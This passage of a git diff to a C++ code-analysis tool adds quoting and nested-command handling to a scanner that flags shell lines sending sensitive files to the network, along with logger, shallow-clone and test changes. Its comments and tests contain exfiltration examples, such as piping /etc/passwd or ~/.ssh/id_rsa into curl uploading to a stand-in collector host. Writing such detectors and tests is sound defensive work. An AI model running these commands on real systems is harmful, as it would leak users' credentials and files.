); - const std::string_view last = ( dot == std::string_view::npos ) ? recv : recv.substr( dot + 1 ); + const std::string_view bare = withoutTrailingCalls( recv ); + const std::size_t dot = bare.find_last_of( '.' ); + const std::string_view last = ( dot == std::string_view::npos ) ? bare : bare.substr( dot + 1 ); constexpr std::string_view kStreamReceivers[] = { "console", "out", "err", "stderr", "stdout", "warnings", "fmt", "debug", "trace", "slog", "glog", "klog", "logrus", "zerolog", "syslog" }; - constexpr std::string_view kLogWords[] = { "log", "logger", "logging" }; - const auto inTable = []( std::string_view word, const auto& table ) // `word` in any case + const std::string lowered = lowerCopy( last ); + if( std::find( std::begin( kStreamReceivers ), std::end( kStreamReceivers ), lowered ) != std::end( kStreamReceivers ) ) { - const std::string lowered = lowerCopy( word ); - return std::find( std::begin( table ), std::end( table ), lowered ) != std::end( table ); - }; + return true; + } const auto [ firstWord, lastWord ] = edgeWordsOf( last ); - return inTable( last, kStreamReceivers ) || inTable( firstWord, kLogWords ) || inTable( lastWord, kLogWords ); + return ( !firstWord.empty() && isLogWord( firstWord ) ) || ( !lastWord.empty() && isLogWord( lastWord ) ); } // The verbs a logging call ends in. `exception` is deliberately ABSENT (Python's logger.exception writes diff --git a/src/ingest_names.h b/src/ingest_names.h index 40ab19d9c..0f3d19b3d 100644 --- a/src/ingest_names.h +++ b/src/ingest_names.h @@ -1566,7 +1566,8 @@ inline bool bindsOutsideItsFunction( TSNode roleNode, Lang lang ) noexcept } const bool localToken = !e.localChildToken.empty() && ts_node_child_count( roleNode ) > 0 && std::string_view( ts_node_type( ts_node_child( roleNode, 0 ) ) ) == e.localChildToken; - const bool localParent = !e.localParentKind.empty() && std::string_view( ts_node_type( ts_node_parent( roleNode ) ) ) == e.localParentKind; + const TSNode parent = ts_node_parent( roleNode ); // null above the root: no parent kind, never ts_node_type( null ) + const bool localParent = !e.localParentKind.empty() && !ts_node_is_null( parent ) && std::string_view( ts_node_type( parent ) ) == e.localParentKind; return !localToken && !localParent; } return false; diff --git a/src/mcp.h b/src/mcp.h index 8db9761e5..68c52470e 100644 --- a/src/mcp.h +++ b/src/mcp.h @@ -1001,6 +1001,7 @@ inline std::string mcpFilterToolsList( std::string resp, const McpDispatchPolicy const bool opensWithName = object.starts_with( kNameOpen ); ASSUME( opensWithName, "every tools/list stanza this file writes opens with its name" ); const std::size_t nameEnd = object.find( '"', kNameOpen.size() ); + ASSUME( nameEnd != std::string_view::npos, "every tools/list stanza this file writes closes its name string" ); if( mcpToolEnabled( policy, object.substr( kNameOpen.size(), nameEnd - kNameOpen.size() ) ) ) { kept += kept.empty() ? "" : ","; diff --git a/src/skillscan.h b/src/skillscan.h index e27da7b4c..246276256 100644 --- a/src/skillscan.h +++ b/src/skillscan.h @@ -521,6 +521,16 @@ inline std::string_view flowReadOperand( std::string_view low, std::string_view return {}; } +// The scan state where a shell word's FIRST piece starts: what the whole word is read against once it ends. +struct WordStart +{ + std::string_view prev; // the token before the word + bool redirectIn; // the word follows `<` + bool commandPosition; // the word is the segment's command (or a runner prefix) + bool skipValue; // the word is a runner option's value (`sudo -u ro''ot cat`) + const CommandPrefix* activePrefix; // the runner whose options the word may be (`sudo "-"u root cat`) +}; + // netFlow's state, one pipeline segment at a time. Split out so each step reads alone: punctuation() consumes the // separators and redirects, word() classifies one shell word (prefixWord() while the segment's command is still to come), // endSegment() settles a segment. @@ -529,7 +539,8 @@ struct NetFlowScan NetFlow flow; bool expectCommand = true, segNet = false, segDest = false, segSensitive = false, stdinSensitive = false; bool redirectIn = false, redirectOut = false, segNetcat = false, segCurlWget = false, segReader = false; - bool prevBareWord = false, skipValue = false; + bool prevBareWord = false, skipValue = false, cmdReader = false, inBacktick = false; + std::vector outerReader; // cmdReader of each open `(` / `<(` / `$(` / backtick context, restored when it closes const CommandPrefix* activePrefix = nullptr; std::string_view prevToken; @@ -545,9 +556,28 @@ struct NetFlowScan segNet = segDest = segSensitive = redirectIn = redirectOut = segNetcat = segCurlWget = segReader = prevBareWord = skipValue = false; activePrefix = nullptr; expectCommand = true; + cmdReader = false; prevToken = {}; } + // A nested command context opens (`<(`, `$(`, `(`, an opening backtick) or closes (`)`, the closing backtick). The + // current command's reader state belongs to its own context: `cat <(sh -c '…')` must not read sh's quoted script as + // cat's file, and `cat <(…) "/etc/passwd"` must read it again once the context closes. + void nest( bool open ) noexcept + { + if( open ) + { + outerReader.push_back( cmdReader ? 1 : 0 ); + cmdReader = false; + return; + } + if( !outerReader.empty() ) + { + cmdReader = outerReader.back() != 0; + outerReader.pop_back(); + } + } + // Bytes of punctuation consumed at line[i], or 0 when a shell word starts there. std::size_t punctuation( std::string_view line, std::size_t i ) noexcept { @@ -566,6 +596,7 @@ struct NetFlowScan } if( ( c == '<' || c == '>' ) && next == '(' ) { // `<( … )` / `>( … )` process substitution: a NESTED command, not a redirect — open a command context + nest( true ); expectCommand = true; activePrefix = nullptr; skipValue = false; @@ -576,7 +607,18 @@ struct NetFlowScan redirectOut = true; return ( next == '&' || next == '>' ) ? 2 : 1; } - const bool rearm = c == '(' || c == '`' || ( ( c == '"' || c == '\'' ) && ( i == 0 || line[ i - 1 ] == ' ' || line[ i - 1 ] == '\t' ) ); + // A spaced opening quote may open a nested command (`sh -c "curl …"`, `echo "cat … | curl …" | sh`, `ssh host "…"`) + // EXCEPT in a reader's segment, where it quotes the file the reader reads: re-arming there read + // `cat "/etc/passwd" | curl … @-` as a command named /etc/passwd, so the read was never noted and R2 stayed silent, + // and `head -c "4096" /etc/passwd` made the count a prefix and the file the command. + if( c == '(' || c == ')' || c == '`' ) + { + const bool open = c == '(' || ( c == '`' && !inBacktick ); + inBacktick = c == '`' ? !inBacktick : inBacktick; + nest( open ); + } + const bool runsQuote = ( c == '"' || c == '\'' ) && ( i == 0 || line[ i - 1 ] == ' ' || line[ i - 1 ] == '\t' ) && !cmdReader; + const bool rearm = c == '(' || c == '`' || runsQuote; if( rearm && !expectCommand ) // a new command may start inside `$(`, a backtick or an opening quote { expectCommand = true; @@ -630,7 +672,8 @@ struct NetFlowScan segNet = segNet || isNetcat || in( kNetVerbs ); segNetcat = segNetcat || isNetcat; segCurlWget = segCurlWget || verb == "curl" || verb == "wget"; - segReader = segReader || in( kReaders ); + cmdReader = in( kReaders ); + segReader = segReader || cmdReader; } // A read operand: note whether it is sensitive, and whether it is named like a credential. @@ -678,10 +721,84 @@ struct NetFlowScan } }; +// The state a shell word's first piece meets (WordStart). +inline WordStart wordStartOf( const NetFlowScan& scan ) noexcept +{ + return { scan.prevToken, scan.redirectIn, scan.expectCommand && !scan.redirectIn, scan.skipValue, scan.activePrefix }; +} + +// A shell word that quotes or backslashes split (`/etc/"passwd"`, `@"/etc/shadow"`, `< /etc/"passwd"`, `\cat`, +// `c"url"`), read WHOLE once its last piece is done: `whole` is lowered with its quotes and backslashes dropped. +// word() still classified every piece, so this only adds: a read operand, and in command position the command it +// names (`\cat` is cat; `\sudo curl` leaves curl the command). Called once per word, so a word of k pieces costs +// its length, never k times it. +inline void wholeWord( NetFlowScan& scan, std::string_view whole, std::string_view raw, const WordStart& at ) noexcept +{ + if( at.commandPosition ) + { // re-judge the whole word from the state its first piece met: a value stays a value, a flag stays a flag + scan.expectCommand = true; + scan.skipValue = at.skipValue; + scan.activePrefix = at.activePrefix; + if( scan.prefixWord( raw, whole ) ) + { + scan.expectCommand = true; + } + else + { + scan.noteCommand( whole ); + } + return; + } + std::string_view operand = flowReadOperand( whole, at.prev, at.redirectIn ); + if( operand.empty() && scan.segReader && !whole.starts_with( '-' ) ) + { + operand = whole; + } + if( !operand.empty() ) + { + scan.noteRead( operand ); + } +} + +// The shell word a piece belongs to: pieces separated only by quotes (`/etc/"passwd"`, `"/etc/"'shadow'`) are one word, +// and backslash escapes drop (`/etc/pass\wd`, `\cat`). Each piece is appended once and the word is handed back once, +// when it ends, so the cost is linear in the line however many pieces a hostile word is cut into. +struct ShellWordJoin +{ + std::string whole; + std::string raw[2]; // the word as written (case kept, quotes and escapes dropped); two buffers, so the + int cur = 0; // finished word stays the scan's prevToken while the next word is assembled + bool split = false; // more than one piece, or an escape: the whole word differs from its pieces + + void add( std::string_view piece, std::string_view rawPiece ) + { + const auto unescaped = []( char ch ) noexcept { return ch != '\\'; }; + split = split || !whole.empty() || piece.find( '\\' ) != std::string_view::npos; + std::copy_if( piece.begin(), piece.end(), std::back_inserter( whole ), unescaped ); + std::copy_if( rawPiece.begin(), rawPiece.end(), std::back_inserter( raw[cur] ), unescaped ); + } + // The word is done: the next one is assembled in the other buffer, so this one's spelling stays readable. + void finish() + { + cur ^= 1; + raw[cur].clear(); + whole.clear(); + split = false; + } + // Does the word go on past `end`: one or more quotes, then a byte that starts another piece? + static bool continuesAt( std::string_view line, std::size_t end, std::string_view separators ) noexcept + { + const std::size_t q = std::min( line.find_first_not_of( "\"'", end ), line.size() ); + return q > end && q < line.size() && separators.find( line[q] ) == std::string_view::npos; + } +}; + inline NetFlow netFlow( std::string_view line, std::string_view lowered ) noexcept { constexpr std::string_view kFlowSeparators = " \t\"'`|;&()<>\r\n"; - NetFlowScan scan; + NetFlowScan scan; + ShellWordJoin join; + WordStart at{}; for( std::size_t i = 0; i < line.size(); ) { if( const std::size_t consumed = scan.punctuation( line, i ); consumed > 0 ) @@ -690,7 +807,21 @@ inline NetFlow netFlow( std::string_view line, std::string_view lowered ) noexce continue; } const std::size_t end = std::min( line.find_first_of( kFlowSeparators, i ), line.size() ); + if( join.whole.empty() && !join.split ) + { + at = wordStartOf( scan ); + } + join.add( lowered.substr( i, end - i ), line.substr( i, end - i ) ); scan.word( line.substr( i, end - i ), lowered.substr( i, end - i ) ); + if( !ShellWordJoin::continuesAt( line, end, kFlowSeparators ) ) + { + if( join.split ) + { + wholeWord( scan, join.whole, join.raw[join.cur], at ); + scan.prevToken = join.raw[join.cur]; // `--upload-""file FILE`: the option as written precedes FILE + } + join.finish(); + } i = end; } scan.endSegment( false ); diff --git a/src/verbs_navigate.h b/src/verbs_navigate.h index 6cc42018a..0ba2824f6 100644 --- a/src/verbs_navigate.h +++ b/src/verbs_navigate.h @@ -2404,7 +2404,7 @@ std::optional runImpact( const MainDispatch& d ) const auto [ rank, prIters, prConverged ] = rankGraph( g ); const rw::RankDisclosure prD{ prIters, prConverged, true }; // W2-F: the listing is PageRank-ordered within a depth std::vector show = reach; - rw::orderByDepthThenRank( show, imDepth, rank ); // ranked BEFORE the page window below cuts: the deepest rows go first + rw::orderByDepthThenRank( show, imDepth, rank ); // ranked BEFORE the page window below cuts: the nearest rows (fewest hops) go first const std::vector imByDepth = rw::depthCounts( reach, imDepth ); // A6 (survey card A6, agent-lsp): tested/untested partition of the blast radius, over the FULL diff --git a/src/verbs_report.h b/src/verbs_report.h index 9bdfe5643..7ae175285 100644 --- a/src/verbs_report.h +++ b/src/verbs_report.h @@ -1065,6 +1065,31 @@ inline bool anyMinedRootShallow( const std::string& root, bool multiRoot, const return false; } +// The failure paths' twin of anyMinedRootShallow: the shallow-history cause of the first mined root that has one, or "" +// when none does. Mining reads every workspace root, so a full primary next to a shallow secondary that mined nothing +// must name the shallow root, not "git unavailable" (the probe read the primary alone). On a multi-root run the cause +// is prefixed with the root it was found on. +inline std::string minedRootShallowCause( const std::string& root, bool multiRoot, const std::vector& ws, + std::uint32_t onlyRoot = UINT32_MAX ) +{ + if( !multiRoot ) + { + return rw::gitstamp::shallowHistoryCause( root ); + } + for( std::uint32_t r = 0; r < ws.size(); ++r ) + { + if( onlyRoot != UINT32_MAX && onlyRoot != r ) + { + continue; + } + if( std::string why = rw::gitstamp::shallowHistoryCause( ws[r].arg ); !why.empty() ) + { + return "workspace root " + ws[r].arg + ": " + why; + } + } + return {}; +} + // §CLIO — one repo-wide co-change pair, and the document that renders them. `PR` used to be a struct local // to the --cochange branch; it moved out with the loop for the same reason the legends and the group form did. struct CoPairRow { std::uint32_t a, b, n; double deg, confAb, confBa; std::uint32_t recur; bool surprising; bool depCapable; }; @@ -1256,7 +1281,7 @@ std::optional runMaintenanceViews( const MainDispatch& d ) windowLabel.c_str(), ing.files.size(), ing.files.size(), gitstamp::atAttr( root ).c_str() ); return 0; } - if( const std::string shallowWhy = gitstamp::shallowHistoryCause( root ); !shallowWhy.empty() ) // 0.6.6: shallow says so + if( const std::string shallowWhy = minedRootShallowCause( root, multiRoot, ws ); !shallowWhy.empty() ) // 0.6.6: shallow says so, on any mined root { rw::emitTo( stderr, "ripwire --hotspots: {}\n", shallowWhy ); } @@ -1554,7 +1579,7 @@ std::optional runMaintenanceViews( const MainDispatch& d ) rw::emitTo( stdout, "", coWindowLabel.c_str(), gitstamp::atAttr( root ).c_str() ); return 0; } - if( const std::string shallowWhy = gitstamp::shallowHistoryCause( root ); !shallowWhy.empty() ) // 0.6.6: shallow says so + if( const std::string shallowWhy = minedRootShallowCause( root, multiRoot, ws ); !shallowWhy.empty() ) // 0.6.6: shallow says so, on any mined root { rw::emitTo( stderr, "ripwire --cochange: {}\n", shallowWhy ); } @@ -1726,7 +1751,7 @@ std::optional runMaintenanceViews( const MainDispatch& d ) } if( ownerships.empty() ) { - if( const std::string shallowWhy = gitstamp::shallowHistoryCause( root ); !shallowWhy.empty() ) // 0.6.6: shallow says so + if( const std::string shallowWhy = minedRootShallowCause( root, multiRoot, ws, ( multiRoot && onlyFileId != UINT32_MAX ) ? ing.fileRoot[ onlyFileId ] : UINT32_MAX ); !shallowWhy.empty() ) // 0.6.6: on any mined root { rw::emitTo( stderr, "ripwire --owners: {}\n", shallowWhy ); } diff --git a/test/printf_parity.manifest b/test/printf_parity.manifest index 8aab10d08..ad28fa05c 100644 --- a/test/printf_parity.manifest +++ b/test/printf_parity.manifest @@ -38,5 +38,5 @@ safe_delete 0 8b99d83566b89332ac4b2967abbb39284db775bbed601628b97b8c7909f04ac2 e verify_layer 1 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 5288c345d7d6e335f88b9c1daa8935db22e1dcf89c0c8bc1f6140d4cb5af0b48 graph_query 1 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 bfa4319feb9dee09cfbd3991cf6fbd752297e99d14de9e75768820d2a9c8832f callers_limit 0 e40ee1ddba0fbf548c58c98b91fe052af8c34f8913edb3edd85245b12a6967b9 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -help_all 0 79d4595a3780eed8c12f93ced7bbd9eb135619f40a0b57d901239fea10cd6f91 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +help_all 0 5a48ad80e9b41e8f3f11c7470fc97abf6797dd89c167cf166267422e9f59cb2b e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 help_one 0 938ff4f8802a8f5d9cb10f9a1f3804ac755be44c8ab00e24e45bfe8255224a21 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 diff --git a/test/qualitykindscheck.sh b/test/qualitykindscheck.sh index 3583fc167..b3318ae77 100755 --- a/test/qualitykindscheck.sh +++ b/test/qualitykindscheck.sh @@ -881,6 +881,82 @@ qd_none "5l python" error-masking save_backlog "backlog.info: backlog is not a l qd_has "5l python" error-masking save_logged gating qd_has "5l python" error-masking save_app_log gating +# 5l, second pass (train 22 delta review): the whole-word rule split only on _ - and camelCase, so real loggers fell out +# and Python's gating rows with them: a call before the last dot (logging.getLogger(__name__)), a sigil (@logger, +# this.#logger, $logger), an acronym run (HTTPLogger), a digit (logger2), a one-word name (mylog, vlog, structlog). +# Every listed spelling is a row again; the English words that end in "log" stay out. +lr_py_pos='logging.getLogger(__name__) logging.getLogger() get_logger() structlog.get_logger() self.get_logger() mylog logfire logbook logger2 vlog structlog logging.getLogger("service.worker)")' +lr_py_neg='catalog dialog backlog changelog analog technology blog getStore("logger(")' +LPB=''; LPE=''; n=0 +for r in $lr_py_pos $lr_py_neg; do n=$(( n + 1 )) + LPB="$LPB +def lr$n(x): + try: + risky() + except Exception as e: + recover(e) +" + LPE="$LPE +def lr$n(x): + try: + risky() + except Exception: + $r.error(\"save failed\") +" +done +qd_pair logrecv2 m.py "$LPB" "$LPE" +n=0 +for r in $lr_py_pos; do n=$(( n + 1 )); qd_has "5l python $r" error-masking "lr$n" gating; done +for r in $lr_py_neg; do n=$(( n + 1 )); qd_none "5l python $r" error-masking "lr$n" "$r is not a logger"; done +LRB=''; LRE=''; n=0 +for r in @logger @log '$logger' @catalog; do n=$(( n + 1 )) + LRB="$LRB +def lr$n(x) + risky +rescue StandardError => e + recover(e) +end +" + LRE="$LRE +def lr$n(x) + risky +rescue StandardError + $r.error(\"save failed\") +end +" +done +qd_pair logrecvrb m.rb "$LRB" "$LRE" +qd_has "5l ruby @logger" error-masking lr1 minor; qd_has "5l ruby @log" error-masking lr2 minor; qd_has "5l ruby \$logger" error-masking lr3 minor +qd_none "5l ruby @catalog" error-masking lr4 "@catalog is not a logger" +LTB='class A {'; LTE='class A {'; n=0 +for r in 'this.#logger' 'this.HTTPLogger' 'log4js.getLogger()' 'this.dialog'; do n=$(( n + 1 )) + LTB="$LTB + lr$n(): void { try { risky(); } catch (e) { recover(e); } }" + LTE="$LTE + lr$n(): void { try { risky(); } catch (e) { $r.error(\"save failed\"); } }" +done +qd_pair logrecvts m.ts "$LTB +} +" "$LTE +} +" +qd_has "5l ts this.#logger" error-masking lr1 minor; qd_has "5l ts this.HTTPLogger" error-masking lr2 minor; qd_has "5l ts log4js.getLogger()" error-masking lr3 minor +qd_none "5l ts this.dialog" error-masking lr4 "dialog is not a logger" +LJB='class A {'; LJE='class A {'; n=0 +for r in HTTPLogger DBLogger logger2 backlog; do n=$(( n + 1 )) + LJB="$LJB + void lr$n() { try { risky(); } catch (Exception e) { recover(e); } }" + LJE="$LJE + void lr$n() { try { risky(); } catch (Exception e) { $r.error(\"save failed\"); } }" +done +qd_pair logrecvjava A.java "$LJB +} +" "$LJE +} +" +qd_has "5l java HTTPLogger" error-masking lr1 minor; qd_has "5l java DBLogger" error-masking lr2 minor; qd_has "5l java logger2" error-masking lr3 minor +qd_none "5l java backlog" error-masking lr4 "backlog is not a logger" + # 5m) 0.6.6 review: the error-masking QUERY group had a 5000-per-tag budget over a PATH-sorted list, and # empty-catch-java captures EVERY catch body. At the baseline A.java holds 6000 catches, so the cut fell inside it # and Z.java's untouched empty catch was never counted; the working tree trims A.java to 100 catches, the cut moved diff --git a/test/shallowhistorycheck.sh b/test/shallowhistorycheck.sh index 8a0ee7c0c..aaa474027 100755 --- a/test/shallowhistorycheck.sh +++ b/test/shallowhistorycheck.sh @@ -88,6 +88,24 @@ done C="$( run "$SH" --cochange )" if { has "$C" "shallow clone" && has "$C" "git fetch --deepen" && ! has "$C" "git unavailable"; }; then ok "cochange on a shallow stub with nothing mineable: 'shallow clone', not 'git unavailable'"; else no "cochange on shallow: $( printf '%s' "$C" | head -c 300 )"; fi +# ── 3m. multi-root refusal: a FULL primary + a SHALLOW secondary, neither with a mineable commit (CodeRabbit, train 22) ── +# The failure paths probed the primary root alone, so the refusal said "git unavailable" although the secondary is a +# depth-limited clone. Each root's commits touch only notes.txt, which no verb mines. Control: two full roots. +MR="$T/mr"; mkdir -p "$MR" +mk_notes(){ mkdir -p "$1" && ( cd "$1" && git init -q -b main . && echo one > notes.txt && git add -A && git -c user.name=A -c user.email=a@example.invalid commit -qm one && echo two >> notes.txt && git -c user.name=A -c user.email=a@example.invalid commit -qam two ) >/dev/null 2>&1; } +mk_notes "$MR/P"; mk_notes "$MR/Qsrc" +git clone -q --depth 1 "file://$MR/Qsrc" "$MR/Q" >/dev/null 2>&1; git clone -q "file://$MR/P" "$MR/P2" >/dev/null 2>&1 +printf 'int p( int x ) { if( x ) { return 1; } return 0; }\n' > "$MR/P/p.c"; cp "$MR/P/p.c" "$MR/P2/p2.c" +printf 'int q( int x ) { if( x ) { return 2; } return 0; }\n' > "$MR/Q/q.c" +for v in --cochange --owners; do + E="$( "$BIN" "$MR/P" "$MR/Q" "$v" --no-cache 2>&1 >/dev/null )"; RC=$? + if [ "$RC" = 1 ] && has "$E" "shallow clone" && has "$E" "git fetch --deepen" && ! has "$E" "git unavailable"; then ok "$v full+shallow workspace, nothing mineable: the refusal names the shallow root, not 'git unavailable'" + else no "$v full+shallow workspace refusal (rc=$RC): $( printf '%s' "$E" | head -c 300 )"; fi + E="$( "$BIN" "$MR/P" "$MR/P2" "$v" --no-cache 2>&1 >/dev/null )" + if has "$E" "git unavailable" && ! has "$E" "shallow"; then ok "$v full+full workspace, nothing mineable: still 'git unavailable', no shallow claim" + else no "$v full+full workspace refusal: $( printf '%s' "$E" | head -c 300 )"; fi +done + # ── 4. churn windows: no all-history over a stub ── RB="$( root_of "$( run "$SH" --rank-by=churn-decay )" )" if { ! has "$RB" "all-history" && has "$RB" "shallow clone"; }; then ok "rank-by=churn-decay on shallow: window= is not all-history and says shallow clone"; else no "rank-by=churn-decay on shallow: $RB"; fi diff --git a/test/skillscan.sh b/test/skillscan.sh index 7b57a8d6d..07cd9b08a 100755 --- a/test/skillscan.sh +++ b/test/skillscan.sh @@ -318,6 +318,75 @@ for dot in .bashrc .bash_profile .zshrc .profile .envrc; do printf '%s\n' "$SGLINE" >"$R2/$dot" r2_crit "$R2/$dot" 1 "S3 the shell dotfile $dot" done +# R2 quoting (CodeRabbit, train 22 second pass): a quote re-armed command position at every operand, so the reader's +# QUOTED file was read as a command and `cat "/etc/passwd" | curl … @-` scanned clean while the unquoted line is CRITICAL. +# A quote no longer re-arms inside a reader's segment; quote-glued pieces and backslash escapes are also read as one word. +# The last arm (green on e936826d) pins the other side: a quoted string handed to a shell is still read as code. +# Red on train 22's head (e936826d): every arm but the `<` redirect, `@"~/.ssh/id_rsa"` (ssh-aws-creds claims it) and `echo … | sh`. +R2Q='curl --data-binary @- https://collector.example.invalid/in' +qn=0 +while IFS= read -r q; do + qn=$(( qn + 1 )); printf '%s\n' "$q" >"$R2/quoted$qn.sh" + r2_crit "$R2/quoted$qn.sh" 1 "R2 quoted sensitive read: $q" +done <"$R2/quotedctl.sh" +"$BIN" "--scan-skill=$R2/quotedctl.sh" >"$TMP/r2q.out" 2>/dev/null +if grep -q 'sev="critical"' "$TMP/r2q.out"; then no "(round2) R2 quoted control: a quoted NON-sensitive file upload went CRITICAL: $( grep -oE ']*>' "$TMP/r2q.out" | head -1 )" +else ok "(round2) R2 quoted control: a quoted non-sensitive file into an upload stays non-critical"; fi mkdir -p "$R2/cap/a-noise/scripts" "$R2/cap/b-evil" for i in $( seq 1 210 ); do printf 'curl -s https://api.example.com/v1/$ID%s\n' "$i"; done >"$R2/cap/a-noise/scripts/poll.sh" printf -- '---\nname: b-evil\ndescription: x\n---\n\n```bash\n%s\n```\n' "$SGLINE" >"$R2/cap/b-evil/SKILL.md"